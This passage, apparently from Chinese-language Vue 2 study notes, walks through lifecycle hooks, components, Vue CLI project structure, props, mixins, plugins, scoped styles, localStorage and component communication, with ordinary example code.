别名:生命周期函数、生命周期回调函数、生命周期钩子
-
生命周期函数,就是 Vue 在关键时刻帮我们调用的一些特殊名称的函数总称
-
生命周期函数的是固定的、不可更改,但是具体内容由程序员指定
-
生命周期函数中的 this 指向的是 vm 实例或者组件实例对象
2.18.2 挂载流程
<div id="root">
{{name}}
<span v-text="showInfo()"></span><br>
<button @click="name = '叶凡'">更新 Vue 实例</button><br>
</div>
<script>
Vue.config.productionTip = false
const vm = new Vue({
el: '#root',
data: {
name: '荒天帝',
},
methods: {
showInfo() {
return '姓名:' + this.name
}
},
beforeCreate() {
console.group('1.创建之前:beforeCreate')
console.log("%c%s", "color:blue","el : " + this.$el);
console.log("%c%s", "color:blue",'data : ' + this.$data);
console.log("%c%s", "color:#009e96",'name : ' + this.name)
console.log("%c%s", "color:red",'showInfo() => ' + this.showInfo);
},
created() {
console.group('2.创建之后:created')
console.log("%c%s", "color:blue","el : " + this.$el);
console.log("%c%s", "color:blue",'data : ' + this.$data);
console.log("%c%s", "color:#009e96",'name : ' + this.name)
console.log("%c%s", "color:red",'showInfo() => ' + this.showInfo);
},
beforeMount() {
console.group('3.挂载之前:beforeMount')
console.log("%c%s", "color:blue","el : " + this.$el);
console.log("%c%s", "color:blue",'data : ' + this.$data);
console.log("%c%s", "color:#009e96",'name : ' + this.name)
console.log("%c%s", "color:red",'showInfo() => ' + this.showInfo);
},
mounted() {
console.group('4.挂载之后:mounted')
console.log("%c%s", "color:blue","el : " + this.$el);
console.log("%c%s", "color:blue",'data : ' + this.$data);
console.log("%c%s", "color:#009e96",'name : ' + this.name)
console.log("%c%s", "color:red",'showInfo() => ' + this.showInfo);
},
beforeUpdate() {
console.group('5.更新之前:beforeUpdate')
console.log("%c%s", "color:blue","el : " + this.$el);
console.log("%c%s", "color:blue",'data : ' + this.$data);
console.log("%c%s", "color:#009e96",'name : ' + this.name)
console.log("%c%s", "color:red",'showInfo() => ' + this.showInfo);
},
updated() {
console.group('6.更新之后:updated')
console.log("%c%s", "color:blue","el : " + this.$el);
console.log("%c%s", "color:blue",'data : ' + this.$data);
console.log("%c%s", "color:#009e96",'name : ' + this.name)
console.log("%c%s", "color:red",'showInfo() => ' + this.showInfo);
},
beforeDestroy() {
console.group('7.销毁之前:beforeDestroy')
console.log("%c%s", "color:blue","el : " + this.$el);
console.log("%c%s", "color:blue",'data : ' + this.$data);
console.log("%c%s", "color:#009e96",'name : ' + this.name)
console.log("%c%s", "color:red",'showInfo() => ' + this.showInfo);
},
destroyed() {
console.group('8.销毁之后:destroyed')
console.log("%c%s", "color:blue","el : " + this.$el);
console.log("%c%s", "color:blue",'data : ' + this.$data);
console.log("%c%s", "color:#009e96",'name : ' + this.name)
console.log("%c%s", "color:red",'showInfo() => ' + this.showInfo);
}
})
</script>
- 页面初始化时,执行
beforeCreate()、created()、beforeMount()、mounted()
四个生命周期函数
- 更新元素时,执行
beforeUpdate()、updated()
生命周期函数
- 最后销毁 Vue 实例时,执行
beforeDestroy()、destroyed()
生命周期函数,销毁之后,不会再对任何操作 vm 的操作进行响应
Vue 的生命周期 流程如下:
3 组件化编程
3.1 什么是组件
-
传统的网页:html、js、css、资源文件混合在一起,纠缠不清,代码复用率低
-
组件化编程:将大的应用分成一个个小的组件,每个组件均有 html、css、js、资源文件等,复用率高,别的地方要使用,直接引入即可
-
模块化:当应用中的 js 都以模块来编写,那该应用就是一个模块化应用
-
组件化:当应用中的功能是由多个组件的方式来进行编写的,那么该应用就是一个组件化的应用
3.2 非单文件组件
非单文件组件:一个组件中包含 n 个组件(在正式的开发中,非单文件组件基本不会使用)
非单文件组件方式中,要使用一个组件,总共分为创建组件、注册组件、使用组件三个步骤
- 创建组件
<script>
//创建 school 组件
const sch = Vue.extend({
template: `
<div>
<h5>学校:{{name}}</h5>
<h5>地址:{{address}}</h5>
</div>
`,
data() {
return {
name: '战王学院',
address: '圣城中州'
}
}
})
//创建 student 组件
const stu = Vue.extend({
template: `
<div>
<h5>姓名:{{name}}</h5>
<h5>年龄:{{age}}</h5>
</div>
`,
data() {
return {
name: '林枫',
age: 30
}
}
})
</script>
- 注册组件
//局部注册组件
<script>
new Vue({
el: '#root',
components: { //注册组件
school: sch,
student: stu
}
})
</script>
//全局注册组件
<script>
const hel = Vue.extend({
template: `
<div>
<h5>Hello, {{name}}</h5>
</div>
`,
data(){
return {
name: 'Tom'
}
}
})
Vue.component('hello', hel);
</script>
- 使用组件
<div id="root">
<school></school>
<hr>
<student></student>
</div>
总结:
Vue 中使用组件的三大步骤:创建组件、注册组件、使用组件
如何定义一个组件?
使用
Vue.extend(options)
创建,其中 options 和 new Vue({}) 写法几乎一致,稍有区别:
el 配置项不能写(最终所有的组件都要经过一个 vm 管理,由 vm 中的 el 来决定让哪个组件去服务哪个容器)
data 必须写成函数形式(避免组件被复用时,数据存在引用关系)
使用 template 配置项可以编写组件结构
- 如何注册组件?
局部注册:在 new Vue({ components: {xxx:xxx} }) 进行注册
全局注册:使用 Vue.componennt('组件名', 组件) 进行注册
- 如何使用组件?
- 使用形式为:
<组件名></组件名>
3.3 组件注意点
- 关于组件命名
-
一个单词组成
-
写法一(首字母小写):
student
-
写法二(首字母大写):
Student
-
-
多个单词组成
-
写法一(中划线命名):
my-student
-
写法二(全部首字母大写):
MySchool
(需要 Vue 脚手架支持)
-
-
组件名称尽可能回避 html 中已有的与元素名称
-
可以使用 name 配置项来制定组件在开发中工具中呈现的名字
- 关于组件标签
-
写法一:
<student></student>
-
写法二:
<student/>
(脚手架支持)
- 简写方式
const student = Vue.extend(options) 可简写为 const student = options
3.4 组件的嵌套
<div id="root">
<school></school>
</div>
<script>
// student 组件(因为它是 school 的子组件,所以要在 school 之前进行创建)
const student = Vue.extend({
template: `
<div>
<h4>{{name}}今年{{age}}岁</h4>
</div>
`,
data() {
return {
name: '张三',
age: 18
}
}
})
//school 组件
const school = Vue.extend({
template: `
<div>
<h4>{{name}}坐落于{{address}}</h4>
<student></student>
</div>
`,
data() {
return {
name: '战王学院',
address: '圣城中州'
}
},
components: {
student
}
})
new Vue({
el: '#root',
components: {
school
}
})
</script>
在一般正式开发中,vm 只去管理一个名为 app 的组件,而 app 组件管理者页面上所有的其他组件(一人之下,万人之上)
现在模拟一下该情况
<div id="root">
<app></app>
</div>
<script>
Vue.config.productionTip = false
// student 组件(因为它是 school 的子组件,所以要在 school 之前进行创建)
const student = Vue.extend({
template: `
<div>
<h4>{{name}}今年{{age}}岁</h4>
</div>
`,
data() {
return {
name: '张三',
age: 18
}
}
})
//school 组件
const school = Vue.extend({
template: `
<div>
<h4>{{name}}坐落于{{address}}</h4>
<student></student>
</div>
`,
data() {
return {
name: '战王学院',
address: '圣城中州'
}
},
components: {
student
}
})
//dog 组件
const dog = Vue.extend({
template: `<h4>小狗名叫{{name}}</h4>`,
data() {
return {
name: '旺财'
}
}
})
//app 组件,管理其他组件
const app = Vue.extend({
template: `
<div>
<dog></dog>
<school></school>
</div>
`,
components: {
school,
dog
}
})
new Vue({
el: '#root',
components: {
app
}
})
</script>
3.5 VueComponent
假设自定义一个名为 student 的组件
-
student 组件的本质,是一个名为 VueComponent 的构造函数,不是程序员定义的,是 Vue.extend 自动生成的
-
我们只需要写
<student></student>
,Vue 解析时会帮我们创建 student 组件的实例对象(执行 new VueComponent(options) -
每次调用 Vue.extend,返回的都是一个全新的 VueComponent
-
类似于 Java 中的对象,我们创建的组件就是 VueComponent 这个对象的实例化
-
功能完全一样,但不是同一个
-
-
关于 this 指向
-
在组件配置中,data函数、methods中的函数、watch中的函数、computed 中的函数,他们的 this 指向均是 VueComponent 实例对象
-
在 new Vue() 配置中,data函数、methods中的函数、watch中的函数、computed 中的函数,他们的 this 指向均是 Vue 实例对象
-
-
Vue 实例对象,简称 vm,VueComponent 实例对象,简称 vc
3.6 内置关系
-
一个重要的内置关系:
VueComponent.prototype.__proto__ === Vue.prototype
-
该内置关系可以让 vc 访问到 Vue 原型上的属性、方法
<script>
const student = Vue.extend()
new Vue({})
console.log(student.prototype.__proto__ === Vue.prototype)
</script>
3.7 单文件组件
3.7.1 一个组件的定义
非单文件组件:一个组件中只包含 1 个组件(正式开发时,几乎都是使用的单文件组件的写法)
根据组件的定义,一个组件应该由结构文件、样式文件、行为文件组成,与之对应的,单文件组件中,组件就是根据这个思想定义的
<template>
<div id="root" class="my-style">
<h4>{{name}}的年龄是{{age}}岁</h4>
</div>
</template>
<script>
export default {
name: 'Student',
data(){
return {
name: '荒天帝',
age: 18
}
}
}
</script>
<style>
.my-style {
color: red;
}
</style>
3.7.2 开发时的结构
在正式开发时,一般会有以下几个结构:
-
main.js:创建 vm 实例
-
index.html:应用的主页面
-
App.vue:一个总的 Vue 组件,用来管理其他的组件,只由 vm 管理
-
xxx.vue:其他的各个组件
下面实现一个 Vue 项目的基本结构
- Student.vue(自定义组件)
<template>
<div class="my-style">
<h4>{{name}}的年龄是{{age}}岁</h4>
</div>
</template>
<script>
export default {
name: 'Student',
data() {
return {
name: '荒天帝',
age: 18,
address: '荒域'
}
}
}
</script>
<style>
.my-style {
color: red;
}
</style>
- School.vue(自定义组件)
<template>
<div>
<h4>{{name}}位于{{address}}</h4>
</div>
</template>
<script>
export default {
name: 'School',
data(){
return {
name: '战王学院',
address: '圣城中州'
}
}
}
</script>
- App.vue(总的组件管理)
<template>
<div>
<Student></Student>
<School></School>
</div>
</template>
<script>
import Student from "./Student";
import School from "./School";
export default {
name: 'App',
components: {
Student,
School
}
}
</script>
- main.js(创建 vm 实例)
import App from "./App";
new Vue({
el: '#root',
components: {
App
}
})
- index.html(应用首页)
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8">>
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Vue项目结构测试</title>
</head>
<body>
<div id="root">
<App></App>
</div>
<script src="../js/vue.js"></script>
<script src="main.js"></script>
</body>
</html>
4 Vue 脚手架
4.1 使用脚手架
Vue 官网标准的脚手架名为 [Vue CLI](Home | Vue CLI (vuejs.org)),使用脚手架创建最基本的项目步骤如下
- 使用命令
npm install -g @vue/cli
,全局安装 Vue 脚手架,安装完成之后,执行命令vue
,出现如下界面,表示安装成功
-
创建一个项目的目录
mkdir myTest
-
进入项目根本路径
cd myTest
-
假设项目名为 test,使用命令
vue create test
,出现如下界面,需要选择项目的相关配置
- 接下来要选择 Vue 的版本,这里选择 Vue2,回车,等待项目创建成功,出现如下界面,表示创建成功
- 然后使用
cd test
进入项目根目录,使用npm run server
运行项目(我安装了 yarn,所以这里使用 yarn 启动项目yarn serve
),等待项目编译完成,出现如下界面,表示项目启动成功
- 浏览器访问项目的默认路径
http://localhost:8080
,出现如下界面,表示使用脚手架创建项目成功!
4.2 分析项目结构
4.2.1 目录结构分析
上一步骤使用 Vue 脚手架创建了一个项目,现在来分析一下默认项目的文件结构(结构如下,因为我安装了 yarn,所以可能文件会与 npm 稍有差别)
.git //git仓库的配置文件
node_modules //项目所需要的所有模块集合
public //公共的资源
|___ favicon.ico
|___ index.html //应用首页
src //项目的主代码
|___ assets //静态资源文件
|___ logo.png
|___ components //项目的所有组件
|___ HelloWorld.vue
|___ App.vue //管理项目的所有组件
|___ main.js //整个项目的入口文件
.gitignore //git 仓库的忽略文件
babel.config.js //babel 的配置文件
jsconfig.json //指定了 JavaScript 语言服务提供的功能的根文件和选项
package.json //项目所需要的所有模块的版本号信息
README.md //项目介绍文件
vue.config.js //Vue 的配置文件
yarn.lock //锁定项目所使用的的所有模块的版本号,与 package-lock.json 作用一致
4.2.2 文件分析
- main.js(整个项目的入口文件)
//引入 Vue 依赖
import Vue from 'vue'
//导入项目的所有组件(所有组件均由 App 组件管理)
import App from './App.vue'
//关闭生产提示
Vue.config.productionTip = false
//创建 Vue 实例
new Vue({
//这行代码现在不解释,具体原理后续解释,功能就是将 App 放入容器中
render: h => h(App),
}).$mount('#app')
// .mount('#app') 就是设置实例服务的容器,与 new Vue({ el: '#root' }) 作用一致
- App.vue
<template>
<div id="app">
<img alt="Vue logo" src="./assets/logo.png">
<HelloWorld msg="Welcome to Your Vue.js App"/>
</div>
</template>
<script>
//引入了一个 HelloWorld 组件,该组件位于 ./components 文件夹下
//该文件夹下存放的都是项目的所有组件,统一由 App.vue 管理
import HelloWorld from './components/HelloWorld.vue'
export default {
name: 'App',
components: {
HelloWorld
}
}
</script>
<style>
/* 全是 css 样式,不重要*/
</style>
- index.html
<!DOCTYPE html>
<html lang="">
<head>
<!--网页编码格式-->
<meta charset="utf-8">
<!--适配 IE -->
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<!--移动端开启理想视口-->
<meta name="viewport" content="width=device-width,initial-scale=1.0">
<!--配置页签图标-->
<link rel="icon" href="<%= BASE_URL %>favicon.ico">
<!--去 package.json 中寻找 name,作为页面标题-->
<title><%= htmlWebpackPlugin.options.title %></title>
</head>
<body>
<!--当浏览器不支持 Js 时,noscript 中的内容就会被渲染到页面上-->
<noscript>
<strong>We're sorry but <%= htmlWebpackPlugin.options.title %> doesn't work properly without
JavaScript enabled.Please enable it to continue.</strong>
</noscript>
<!--将 App 组件放入页面中-->
<div id="app"></div>
</body>
</html>
4.2.3 render 函数
在 main.js 中,我们有一行代码以前没见过 render: h => h(App)
,这是什么意思?这个与我们引入的 vue 版本有关
当我们将 render 注释掉,和以前一样在 main.js 中尝试使用 template 时,会神奇的发现报错了
import Vue from 'vue'
import App from './App.vue'
Vue.config.productionTip = false
new Vue({
//render: h => h(App),
template: `<h1>你好</h1>`
}).$mount('#app')
报错的意思就是:我们使用的是运行时的 Vue,是不完整的,缺少模板解析器,所以才会报错,要么使用完整的 Vue,要么使用 render 函数
不完整的 Vue?什么情况?
在 main.js 中点击进入我们导入的 vue 文件,神奇的发现,默认导入的 vue 版本居然是 vue.runtime.esm.js
Q : 为什么 Vue 团队会默认导入精简版的 Vue?
A : 其实是因为,Vue 中包括两大核心部分(Vue核心 + 模板解析器)
当一个 Vue 项目发布打包的时候,webpack 已经帮我们将 Vue 文件转换为了 html、> css、js 等浏览器可以识别的文件了
如果使用完整版的 Vue.js,就会造成发布的项目中仍然包含模板解析器的内容,但是模板解析器完全已经无用了,所以 Vue 团队默认导入了精简版的 Vue
要使用 template 配置项时,只需要调用 render 函数来进行模板解析就行了
4.3 项目默认配置
我们创建一个 Vue 项目后,它的初始结构是固定的(main.js 为入口文件、index.html 为主页面等等),他一定有配置文件进行了这些默认的配置,那么到底配置了什么?
在项目中使用命令 vue inspect > output.js
,就会输入所有的默认配置给用户看,里面写的都是 Vue 默认帮我们做的配置
那么怎么修改这些默认配置?
Vue 团队帮我们提供了修改的方法,项目根目录建立 vue.config.js
,里面可以修改默认的一些配置,具体的配置项可以到 配置参考 | Vue CLI (vuejs.org) 中查询
4.4 ref 属性
<template>
<div id="app">
<h4 ref="title">标题</h4>
<MySchool ref="sch"></MySchool>
<button ref="btn" @click="showInfo">展示信息</button>
</div>
</template>
<script>
import MySchool from "@/components/MySchool";
export default {
name: 'App',
components: {MySchool},
methods: {
showInfo() {
console.log('DOM元素 ==> ' + this.$refs.title)
console.log('按钮 ==> ' + this.$refs.btn)
console.log('组件对象 ==> ' + this.$refs.sch)
}
}
}
</script>
总结:
ref 属性用来给元素或者组件注册引用信息,是 id 的替代者
应用在 html 标签上获取的是真实的 DOM 元素,应用在组件上是组件实例对象(vc)
获取方式:
this.$refs.xxx
4.5 props 属性
在实际开发中,许多时候数据并不能写死,需要从外部传进来,这个时候就需要使用 props 属性来实现了
方式一:简单接收
<template>
<div>
<h4>{{msg}}</h4>
<h5>学院名称:{{name}}</h5>
<h5>学院地址:{{address}}</h5>
<h5>学院存在时间:{{liveTime}}</h5>
</div>
</template>
<script>
export default {
name: 'MySchool',
data() {
return {
msg: '学院信息'
}
},
props: ['name', 'address', 'liveTime']
}
</script>
<template>
<div id="app">
<!--这里的 live-time 若为字母串,意味着后续不需要修改;否则要使用 v-bind 进行绑定--->
<MySchool name="春秋学院" address="八荒九幽" live-time="80"></MySchool>
</div>
</template>
<script>
import MySchool from "@/components/MySchool";
export default {
name: 'App',
components: {MySchool}
}
</script>
方式二:限制类型
<template>
<div>
<h4>{{msg}}</h4>
<h5>学院名称:{{name}}</h5>
<h5>学院地址:{{address}}</h5>
<h5>学院存在时间:{{liveTime}}</h5>
</div>
</template>
<script>
export default {
name: 'MySchool',
data() {
return {
msg: '学院信息'
}
},
props: {
name: String,
address: String,
liveTime: Number
}
</script>
<template>
<div id="app">
<!--这里需要使用 v-bind 接收 live-time 的值,如果不然,接受的值是 String 类型,类型限制必须为 Number-->
<MySchool name="春秋学院" address="八荒九幽" :live-time="50"></MySchool>
</div>
</template>
<script>
import MySchool from "@/components/MySchool";
export default {
name: 'App',
components: {MySchool}
}
</script>
方式三:限制类型、必要性、默认值
<template>
<div>
<h4>{{msg}}</h4>
<h5>学院名称:{{name}}</h5>
<h5>学院地址:{{address}}</h5>
<h5>学院存在时间:{{liveTime}}</h5>
</div>
</template>
<script>
export default {
name: 'MySchool',
data() {
return {
msg: '学院信息'
}
},
props: {
name: {
type: String,
required: true
},
address: {
type: String,
required: true //必要性
},
liveTime: {
type: Number, //参数类型
default: 100 //默认值
}
}
}
</script>
<template>
<div id="app">
<!--这里不传入 live-time,因为已经指定该属性的,默认值为 100-->
<MySchool name="春秋学院" address="八荒九幽"></MySchool>
</div>
</template>
<script>
import MySchool from "@/components/MySchool";
export default {
name: 'App',
components: {MySchool}
}
</script>
总结:
功能:让组件接受外部传过来的数据
传递数据:
<Demo name="xxx">
接收数据:
- 方式一(只接收)
props: ['name']
- 方式二(限制类型)
props: { name: String, age: Number }
- 方式三(限制类型、必要性、默认值)
props: { name: { type: String, required: true, default: '荒天帝' } }
props 是只读的,Vue 底层会监测用户对于 props 属性的修改,如果进行了修改,就会触发警告
如果非要修改,可以将 props 中的内容复制到 data 中,然后再去修改 data 中的内容
4.6 mixin 混入
在开发中,有的时候可能多个组件中,有一些属性配置是完全相同的,那么这个时候就可以将这些相同的配置提取出来,然后在组件中使用混入引入
<template>
<!-- MySchool 组件-->
<div>
<h5 @click="showName">学院名称:{{name}}</h5>
<h5>学院地址:{{address}}</h5>
</div>
</template>
<script>
import mixin from "@/mixin";
export default {
name: 'MySchool',
data() {
return {
name: '战王学院',
address: '圣城中州'
}
},
mixins: [mixin]
}
</script>
<template>
<!-- MyStudent 组件-->
<div>
<h4 @click="showName">学生姓名:{{name}}</h4>
<h4>学生年龄:{{age}}</h4>
</div>
</template>
<script>
import mixin from "@/mixin";
export default {
name: "MyStudent",
data() {
return {
name: '林枫',
age: 19
}
},
mixins: [mixin]
}
</script>
//mixin.js 混入文件
export default {
name: 'mixin',
methods: {
showName(){
console.log(this.name)
}
}
}
<template>
<!--App.vue-->
<div id="app">
<MySchool></MySchool>
<hr>
<MyStudent></MyStudent>
</div>
</template>
<script>
import MySchool from "@/components/MySchool";
import MyStudent from "@/components/MyStudent";
export default {
name: 'App',
components: {MyStudent, MySchool}
}
</script>
总结:
混入的功能:将多个组件公用的配置提取成一个混入对象
定义方式:
{ data(): {....}, methods: {....} }
使用方式:
//全局混入 Vue.mixin(xxx) //局部混入 mixins: ['xxx', 'yyy', ....]
如果混入中的配置与组件发生同名的情况,会发生什么?
如果是 data、computed、methods 等出现同名,会使用组件中定义的,而非混入的
如果是 mounted()、update() 等生命同周期钩子重复配置,两个都会生效
4.7 定义插件
//插件
export default {
name: 'plugins',
install(Vue){
//全局过滤器
Vue.filter('MySlice', function (value) {
return value.slice(0, 3);
})
}
}
使用插件:
<template>
<div>
<h5 @click="showName">学院名称:{{name | mySlice}}</h5>
<h5>学院地址:{{address | mySlice}}</h5>
</div>
</template>
<script>
import mixin from "@/mixin";
export default {
name: 'MySchool',
data() {
return {
name: '战王学院',
address: '圣城中州'
}
},
mixins: [mixin]
}
</script>
总结:
功能:用于增强 Vue
本质:是包含 install 方法的一个对象,install 的第一个参数是 Vue,其余参数是插件使用者传递的数据
插件使用之后全局都可以使用,可以定义全局过滤器、全局指令、全局混入等
使用插件:Vue.use(xxx)
4.8 scoped 样式
我们在开发时,要为每一个组件写样式,但是当项目编译之后,他会将所有的样式文件全部放在一起,这样就很容易导致一个事情:样式命名冲突
要解决该问题,需要在创建组件时,为组件的 style 标签添加上 scoped 修饰词,这样可以避免出现样式同名冲突的问题
我们在组件 MyStudnet 和 MySchool 中都添加一个 demo 的样式,使用 scoped 关键字发现并不冲突
<template>
<div>
<h4>学生姓名:{{name}}</h4>
<h4 class="demo">学生年龄:{{age}}</h4>
</div>
</template>
<script>
export default {
name: "MyStudent",
data() {
return {
name: '林枫',
age: 19
}
}
}
</script>
<style scoped>
.demo{
background: blue;
}
</style>
<template>
<div>
<h5>学院名称:{{name}}</h5>
<h5 class="demo">学院地址:{{address}}</h5>
</div>
</template>
<script>
export default {
name: 'MySchool',
data() {
return {
name: '战王学院',
address: '圣城中州'
}
}
}
</script>
<style scoped>
.demo {
background: skyblue;
}
</style>
原理是什么?我们打开元素检查,发现他为每个组件的样式都添加了一个随机的校验码进行了区分
4.9 组件化编码
- 组件化编码流程
-
拆分静态组件:组件要按照功能点进行拆分,命名不要与 html 元素冲突
-
实现动态组件:考虑好数据存放位置,数据是一个组件在用,还是多个组件在用
-
一个组件在用:放在组件自身即可
-
多个组件在用:放在共同的父组件上(状态提升)
-
-
实现交互:从绑定事件开始
props
适用于
-
父组件 ——> 子组件 进行通信
-
子组件 ——> 父组件 进行通信(要求父组件先给子组件一个函数)
-
使用
v-model
时要切记:v-model
绑定的值不能是props
传递过来的值,因为props
是不可以被修改的! -
props
传过来的若是对象类型的值,修改对象中的属性时 Vue 不会报错,但是不推荐这样做
4.10 WebStorage
<button @click="addLocal()">增加数据</button>
<button @click="getLocal()">获取数据</button>
<button @click="removeLocal()">删除数据</button>
<button @click="clearLocal()">清空数据</button>
<script type="text/javascript">
function addLocal() {
const person = {
name: '张三',
age: 18
}
localStorage.setItem('msg', 'hello');
localStorage.setItem('person', JSON.stringify(person));
}
function getLocal() {
console.log('msg => ' + localStorage.getItem('msg'));
console.log('person => ' + JSON.parse(localStorage.getItem('person')));
}
function removeLocal() {
localStorage.removeItem('msg');
}
function clearLocal() {
localStorage.clear();
}
</script>
总结:
存储内容的大小一般为 5M 左右,不停浏览器可能不一样
浏览器端通过 Window.sessionStroage 和 Window.localStorage 属性来实现本地的存储机制
相关的 API
xxxStorage.setItem('key', 'value')
:该方法接受一个键值对,如果key
存在,则更新对应的value
值
xxxStorage.getItem('key')
:该方法接收一个key
作为参数,返回对应的value
,若不存在key
,则返回null
xxxStorage.removeItem('key')
:该方法接受一个key
作为参数,删除对应的键值对
xxxStorage.clear()
:该方法会清空所有的存储数据
SessionStorage
存储的内容会随着浏览器窗口的关闭而消失
localStorage
存储的内容需要手动清除才会消失
4.11 组件自定义事件
实现如下需求:
一个父组件 App,有两个子组件 Studen、School,两个子组件上均有一个按钮,点击该按钮会将子组件中的 name 属性传递给父组件 App
4.11.1 绑定事件
使用传递 props 实现
- 父组件 App
<template>
<div id="app">
<h3>{{msg}}</h3>
<MyStudent :getStudentName="getStudentName"></MyStudent>
<MySchool></MySchool>
</div>
</template>
<script>
import MySchool from "@/components/MySchool";
import MyStudent from "@/components/MyStudent";
export default {
name: 'App',
data(){
return {
msg: '你好!'
}
},
components: {MyStudent, MySchool},
methods: {
getStudentName(name){
console.log('我是父组件 App,收到了子组件 Student 的数据 name : ' + name);
}
}
}
</script>
<style scoped>
#app {
background: gray;
padding: 5px;
}
</style>
- 子组件 Student
<template>
<div class="student">
<h4>学生姓名:{{name}}</h4>
<h4>学生年龄:{{age}}</h4>
<button @click="sendStudentName">传递属性:props方式</button>
</div>
</template>
<script>
export default {
name: "MyStudent",
data() {
return {
name: '林枫',
age: 19
}
},
props: ['getStudentName'],
methods: {
sendStudentName(){
this.getStudentName(this.name);
}
}
}
</script>
<style scoped>
.student{
background: blue;
padding: 5px;
}
</style>
使用组件自定义事件实现
- App 父组件
<template>
<div id="app">
<h3>{{msg}}</h3>
<MyStudent :getStudentName="getStudentName"></MyStudent>
<MySchool v-on:mydiy="getSchoolName"></MySchool>
</div>
</template>
<script>
import MySchool from "@/components/MySchool";
import MyStudent from "@/components/MyStudent";
export default {
name: 'App',
data(){
return {
msg: '你好!'
}
},
components: {MyStudent, MySchool},
methods: {
getStudentName(name){
console.log('我是父组件 App,收到了子组件 Student 的数据 name : ' + name);
},
getSchoolName(name){
console.log('我是父组件 App,收到了子组件 School 的数据 name : ' + name)
}
}
}
</script>
<style scoped>
#app {
background: gray;
padding: 5px;
}
</style>
- School 子组件
<template>
<div class="school">
<h5>学院名称:{{name}}</h5>
<h5>学院地址:{{address}}</h5>
<button @click="sendSchoolName">传递属性:自定义事件方式</button>
</div>
</template>
<script>
export default {
name: 'MySchool',
data() {
return {
name: '战王学院',
address: '圣城中州'
}
},
methods: {
sendSchoolName(){
//触发 School 组件的自定义 mydiy 事件
this.$emit('mydiy', this.name);
}
}
}
</script>
<style scoped>
.school {
background: skyblue;
padding: 5px;
margin-top: 15px;
}
</style>
4.11.2 解绑事件
<script>
export default {
name: 'MySchool',
data() {
return {
name: '战王学院',
address: '圣城中州'
}
},
methods: {
sendSchoolName(){
this.$emit('mydiy', this.name);
},
unbind(){
//解绑一个自定义事件
this.$off('mydiy');
//解绑多个自定义事件
//this.$off(['xxx', 'yyy', 'zzz']);
//解绑所有自定义事件
//this.$off();
}
}
}
</script>
组件自定义事件总结:
它是一种组件之间通信的方式,适用于 子组件 ——> 父组件
使用场景:A 是父组件,B 是子组件,B 向传递数据给 A,那么就要在 A 中给 B 绑定自定义事件(事件的回调在 A 中)
绑定自定义事件
方式一:在父组件中,
<Demo @mydiy="test">
方式二:在父组件中
<Demo ref="demo"/> ...... mounted(){ this.$refs.xxx.$on('mydiy', this.test); }
触发自定义事件:
this.$emit('mydiy', 数据)
解绑自定义事件:
this.$off('mydiy')
组件上也可以绑定原生的 DOM 事件,需要使用
native
修饰符,如<Demo/ @click.native="test">
通过
this.$refs.xxx.$on('mydiy', 回调)
绑定自定义事件时,回调要么配置在 methods 中,要么使用箭头函数,否则 this 指向会出问题
4.12 全局事件总线
思考:想要实现全局事件总线,需要有以下思路
我们需要一个额外的 X,任意两个组件之间想要进行通信,就可以使用 X 为中转站,而 X 必须具有以下属性:
组件 X 可以让所有的组件都能看到、使用到
X 可以使用
$on()
、$off()
、$emit()
方法
接下来就实现两个兄弟组件之间传递数据的功能:
- App 组件
<template>
<div id="app">
<h3>{{msg}}</h3>
<MySchool></MySchool>
<MyStudent></MyStudent>
</div>
</template>
<script>
import MySchool from "@/components/MySchool";
import MyStudent from "@/components/MyStudent";
export default {
name: 'App',
components: {
MyStudent,
MySchool
},
data() {
return {
msg: '你好!'
}
}
}
</script>
- Student 组件
<template>
<div class="student">
<h4>学生姓名:{{name}}</h4>
<h4>学生年龄:{{age}}</h4>
<button @click="sendStudentName">将学生名发送给兄弟组件School</button>
</div>
</template>
<script>
export default {
name: "MyStudent",
data() {
return {
name: '林枫',
age: 19
}
},
methods: {
sendStudentName(){
//提供数据
this.$bus.$emit('hello', this.name)
}
}
}
</script>
- School 组件
<template>
<div class="school">
<h5>学院名称:{{name}}</h5>
<h5>学院地址:{{address}}</h5>
</div>
</template>
<script>
export default {
name: 'MySchool',
data() {
return {
name: '战王学院',
address: '圣城中州'
}
},
mounted() {
this.$bus.$on('hello', (data) => {
console.log('我是 School,我拿到了兄弟 Student 的数据 => ' + data);
})
},
//该组件销毁之前,需要将事件从 $bus 上解绑,不然会一直占用全局事件总线
beforeDestroy() {
//这里千万不能不传数据,这样会让所有的事件解绑
this.$bus.$off('hello');
}
}
</script>
- main.js
import Vue from 'vue'
import App from './App.vue'
Vue.config.productionTip = false
new Vue({
render: h => h(App),
beforeCreate() {
//安装全局事件总线
Vue.prototype.$bus = this
}
}).$mount('#app');
总结:
全局事件总线,是一种组件之间的通信方式,它适用于任意组件之间的通信
安装全局时间总线
new Vue({ ...... beforeCreate(){ VUe.proptype.$bus = this } ...... })
- 使用全局事件总线
- 接收数据:A 组件想接收数据,则在 A 组件中给
$bus
绑定自定义事件,事件的回调函数留在 A 组件自身methods: { demo(data){......} } ...... mounted(){ this.$bus.$on('xxx', this.demo) }
- 提供数据:
this.$bus.$emit('xxx', 数据)
- 最好在
beforeDestroy
钩子中,使用$off()
将当前组件所用到的事件进行解绑
4.13 消息订阅与发布
消息订阅与发布原理,类似于我们去邮局买报纸,我们是需求者(需要订阅消息),邮局是提供者(需要发布消息)
该技术的落地技术有很多,这里选择 pubsub-js。使用命令安装 npm i pubsub-js
- App 组件
<template>
<div id="app">
<h3>{{msg}}</h3>
<MySchool></MySchool>
<MyStudent></MyStudent>
</div>
</template>
<script>
import MySchool from "@/components/MySchool";
import MyStudent from "@/components/MyStudent";
export default {
name: 'App',
data(){
return {
msg: '你好!'
}
},
components: {MyStudent, MySchool}
}
</script>
<style scoped>
#app {
background: gray;
padding: 5px;
}
</style>
- School 组件
<template>
<div class="school">
<h5>学院名称:{{name}}</h5>
<h5>学院地址:{{address}}</h5>
</div>
</template>
<script>
//引入消息订阅与发布的库
import pubsub from 'pubsub-js'
export default {
name: 'MySchool',
data() {
return {
name: '战王学院',
address: '圣城中州'
}
},
mounted() {
//订阅消息
this.pubId = pubsub.subscribe('hello', function (msgName, data) {
console.log('有人发布了 hello 消息,hello 消息的回调执行了,收到的数据是 => ' + data)
})
},
beforeDestroy() {
//vc 销毁之前,取消订阅
pubsub.unsubscribe(this.pubId)
}
}
</script>
<style scoped>
.school {
background: skyblue;
padding: 5px;
margin-top: 15px;
}
</style>
- Student 组件
<template>
<div class="student">
<h4>学生姓名:{{name}}</h4>
